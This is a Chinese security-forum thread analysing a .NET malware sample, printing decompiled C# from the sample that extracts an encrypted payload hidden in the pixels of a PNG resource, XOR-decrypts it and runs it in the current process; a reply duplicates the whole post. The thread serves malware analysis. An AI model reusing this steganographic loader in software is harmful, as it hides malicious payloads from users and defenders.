吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4668|回复: 5
收起左侧

[PC样本分析] .Net程序(二)

[复制链接]
Jack1024 发表于 2016-12-6 19:19
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
今天接着上次的样本继续分析。


Dump出来的dll文件,在Resources文件下有一张MGB_kl.Png图片。从code中可以知道,通过public bool p()函数获取该资源,然后通过CZB_jk()函数把该图片在内存中重新复制一份通过BlockCopy()函数,再通过解密函数把该图片中的code解密出来。
public bool p()
{
object obj = this.Ja_W(this.CZB_jk((Bitmap)Image.FromStream(Assembly.GetExecutingAssembly().GetManifestResourceStream("MGB_kl.Png")), 144896));
X_x x_x = new X_x();
return x_x.p(Process.GetCurrentProcess().MainModule.FileName, string.Empty, (byte[])obj, true);
}


public byte[] CZB_jk(Bitmap E_D, int jtf_yWM)
{
checked
{
  byte[] array = new byte[E_D.Width * E_D.Height * 3 - 1 + 1];
  int num = 0;
  for (int i = E_D.Height - 1; i >= 0; i += -1)
  {
   int arg_32_0 = 0;
   int num2 = E_D.Width - 1;
   for (int j = arg_32_0; j <= num2; j++)
   {
    Color pixel = E_D.GetPixel(j, i);
    array[num * 3 + 2] = pixel.R;
    array[num * 3 + 1] = pixel.G;
    array[num * 3] = pixel.B;
    num++;
   }
  }
  byte[] array2 = new byte[jtf_yWM + 1];
  Buffer.BlockCopy(array, 4, array2, 0, array2.Length);
  return array2;
}
}

解密算法。
for (int i = arg_39_0; i <=num; i++)
  {
      array[array.Length- 1 - i] = (jtf_yWM ^ b ^ bytes[i %bytes.Length]);
}

那现在怎么把这dll运行起来,然后把图片进行解密,把真正的malware给dump出来?我用了一种比较笨的方法,就是自己重新建立一个C#工程,然后把code复制过去,然后在解密code的地方下断点。(我目前想到的方法,如果有好方法,大家可以建议)
ILSpy有保存code功能,就是把你现在分析的文件以C#工程保存。
解密的如附件所示。
今天就到这里吧,最近工作比较繁忙,下次把这个malware分析一下。


Capture1.PNG
Capture.PNG

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

db123qwe 发表于 2016-12-6 20:09
今天接着上次的样本继续分析。


Dump出来的dll文件,在Resources文件下有一张MGB_kl.Png图片。从code中可以知道,通过public bool p()函数获取该资源,然后通过CZB_jk()函数把该图片在内存中重新复制一份通过BlockCopy()函数,再通过解密函数把该图片中的code解密出来。
public bool p()
{
object obj = this.Ja_W(this.CZB_jk((Bitmap)Image.FromStream(Assembly.GetExecutingAssembly().GetManifestResourceStream("MGB_kl.Png")), 144896));
X_x x_x = new X_x();
return x_x.p(Process.GetCurrentProcess().MainModule.FileName, string.Empty, (byte[])obj, true);
}


public byte[] CZB_jk(Bitmap E_D, int jtf_yWM)
{
checked
{
  byte[] array = new byte[E_D.Width * E_D.Height * 3 - 1 + 1];
  int num = 0;
  for (int i = E_D.Height - 1; i >= 0; i += -1)
  {
   int arg_32_0 = 0;
   int num2 = E_D.Width - 1;
   for (int j = arg_32_0; j <= num2; j++)
   {
    Color pixel = E_D.GetPixel(j, i);
    array[num * 3 + 2] = pixel.R;
    array[num * 3 + 1] = pixel.G;
    array[num * 3] = pixel.B;
    num++;
   }
  }
  byte[] array2 = new byte[jtf_yWM + 1];
  Buffer.BlockCopy(array, 4, array2, 0, array2.Length);
  return array2;
}
}
解密算法。
for (int i = arg_39_0; i <=num; i++)
  {
      array[array.Length- 1 - i] = (jtf_yWM ^ b ^ bytes[i %bytes.Length]);
}
那现在怎么把这dll运行起来,然后把图片进行解密,把真正的malware给dump出来?我用了一种比较笨的方法,就是自己重新建立一个C#工程,然后把code复制过去,然后在解密code的地方下断点。(我目前想到的方法,如果有好方法,大家可以建议)
ILSpy有保存code功能,就是把你现在分析的文件以C#工程保存。
解密的如附件所示。
今天就到这里吧,最近工作比较繁忙,下次把这个malware分析一下。
£幻想 发表于 2016-12-6 21:33
Hmily 发表于 2016-12-7 17:43
@db123qwe 最好把文章合并到一个帖子中,代码使用代码框编辑一下方便阅读,样本可以加密码上传,方便大家学习。
cnitren 发表于 2016-12-8 09:34
9494,可以把软件分享出来,大家一起研究学习一下。
 楼主| Jack1024 发表于 2016-12-19 20:36
Hmily 发表于 2016-12-7 17:43
@db123qwe 最好把文章合并到一个帖子中,代码使用代码框编辑一下方便阅读,样本可以加密码上传,方便大家学 ...

样本不是可以随便传的,只能说对不起了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-23 21:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表